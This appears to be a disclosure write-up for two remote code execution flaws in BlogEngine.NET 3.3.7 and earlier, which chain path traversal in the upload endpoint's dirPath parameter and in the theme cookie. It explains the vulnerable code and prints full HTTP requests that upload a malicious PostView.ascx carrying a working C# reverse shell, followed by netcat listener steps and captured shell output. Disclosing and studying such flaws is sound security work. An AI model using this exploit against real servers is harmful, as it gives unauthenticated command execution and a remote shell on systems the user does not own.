A remote code execution (RCE) vulnerability, CVE-2019-10719, was discovered in BlogEngine 3.3.7 and earlier.
A remote code execution (RCE) vulnerability, CVE-2019-10719, was discovered in BlogEngine 3.3.7 and earlier. Leveraging a path traversal in /api/upload , a malicious file could be written to a directory which would allow it to be accessed and executed. Edit post permissions are required to upload the shell. Anyone can trigger the shell without authentication.
BlogEngine.NET allows users to upload files through the /api/upload endpoint. Files uploaded using file, filemgr, or image as the action ultimately call BlogService.UploadFile and create the file:
if (action == "
filemgr
" || action == "
file
")
{
string[] ImageExtensnios = { ".jpg", ".png", ".jpeg", ".tiff", ".gif", ".bmp" };
if (ImageExtensnios.Any(x => fileName.ToLower().Contains(x.ToLower()))) action = "image";
else
action = "file";
}
...
if (action == "image")
{
if (Security.IsAuthorizedTo(Rights.EditOwnPosts))
{
dir = BlogService.GetDirectory(dirName);
var uploaded = BlogService.UploadFile(file.InputStream, fileName, dir, true);
return Request.CreateResponse(HttpStatusCode.Created, uploaded.AsImage.ImageUrl);
}
}
if (action == "file")
{
if (Security.IsAuthorizedTo(Rights.EditOwnPosts))
{
dir = BlogService.GetDirectory(dirName);
var uploaded = BlogService.UploadFile(file.InputStream, fileName, dir, true);
retUrl = uploaded.FileDownloadPath + "|" + fileName + " (" + BytesToString(uploaded.FileSize) + ")";
return Request.CreateResponse(HttpStatusCode.Created, retUrl);
}
}
The dirPath parameter is used to specify a folder the file will be written to. dirPath is vulnerable to directory traversal, allowing files to be written to any directory.
A malicious PostView.ascx can be written to a sub-directory of /Custom/Themes, bypassing the fix for CVE-2019-6714. If the folder does not exist, it will be created and contain the malicious PostView.ascx.
The following will upload the file to /Custom/Themes/RCE_Test. RCE_Test will be created if it does not exist:
POST /api/upload?action=filemgr&dirPath=%2f..%2f..%2fCustom%2fThemes%2fRCE_Test HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101Firefox/52.0 Accept: text/plain
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Cookie: COOKIE
Connection: close
Content-Type: multipart/form-data;
boundary=--------------------------- 12143974373743678091868871063
Content-Length: 2085
-----------------------------12143974373743678091868871063
Content-Disposition: form-data; filename="PostView.ascx"
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", $LPORT)) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)){
streamWriter = new System.IO.StreamWriter(stream) ;
StringBuilder strInput = new StringBuilder() ;
System.Diagnostics.Process p = new System.Diagnostics.Process() ;
p.StartInfo.FileName = "cmd.exe" ;
p.StartInfo.CreateNoWindow = true ;
p.StartInfo.UseShellExecute = false ;
p.StartInfo.RedirectStandardOutput = true ;
p.StartInfo.RedirectStandardInput = true ;
p.StartInfo.RedirectStandardError = true ;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler) ;
p.Start() ;
p.BeginOutputReadLine() ;
while(true) {
strInput.Append(rdr.ReadLine()) ;
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length) ;
}}}}}
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder() ;
if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data) ;
streamWriter.WriteLine(strOutput) ;
streamWriter.Flush() ;
} catch (Exception err) { }
}
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false">
Open a netcat listener, nc -nlvp $LPORT
, and browse to the application root with the theme set as RCE_Test:
GET /?theme=
RCE_Test
HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
$nc -nlvp $LPORT
listening on [any] $LPORT ...
connect to [$LHOST] from (UNKNOWN) [$RHOST] 49958Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
A remote code execution (RCE) attack, CVE-2019-10720, exists on BlogEngine.NET versions 3.3.7 and earlier. A user with privileges to add/upload files could upload a malicious PostView.ascx
file and exploit a directory traversal in the theme cookie to trigger the RCE.
The application will use the theme cookie if the theme parameter is not set:
BlogEngine.Core/BlogSettings.cs
413 public string Theme
414 {
415 get
416 {
417 var context = HttpContext.Current;
418 if (context != null)
419 {
420 var request = context.Request;
421 if (request.QueryString["theme"] != null)
422 {
423 return request.QueryString["theme"];
424 }
425
426 var cookie = request.Cookies[this.ThemeCookieName];
427 if (cookie != null)
428 {
429 return cookie.Value;
430 }
The theme cookie is vulnerable to a directory traversal; the theme cookie can be set to a folder that contains a malicious PostView.ascx
, such as .../../App_Data/files
. The malicious code contained in PostView.ascx
will be executed.
A malicious file can be uploaded using File Manager
in the application, /api/upload?action=file
, or /api/upload?action=filemgr
. In the following example /api/upload?action=file
is used to upload the malicious PostView.ascx
file:
POST /api/upload?action=file HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/plain
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: XXX
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063
Content-Length: 2085
-----------------------------12143974373743678091868871063
Content-Disposition: form-data; filename="PostView.ascx"
<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>
<script runat="server">
static System.IO.StreamWriter streamWriter;
protected override void OnLoad(EventArgs e) {
base.OnLoad(e);
using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", $LPORT)) {
using(System.IO.Stream stream = client.GetStream()) {
using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
streamWriter = new System.IO.StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true) {
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data)) {
try {
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
} catch (Exception err) { }
}
}
</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
-----------------------------12143974373743678091868871063--
Open a netcat listener, nc -nlvp $LPORT
, and browse the application with the theme cookie set as ../../App_Data/files/2019/06/
, no authentication required. The Code Execution triggers and opens a reverse shell:
GET / HTTP/1.1
Host: $LHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: theme=../../App_Data/files/2019/06
;
Connection: close
Upgrade-Insecure-Requests: 1
$nc -nlvp $LPORT
listening on [any] $LPORT ...
connect to [$LHOST] from (UNKNOWN) [$RHOST] 49822
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
ipconfig
C:\Windows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection: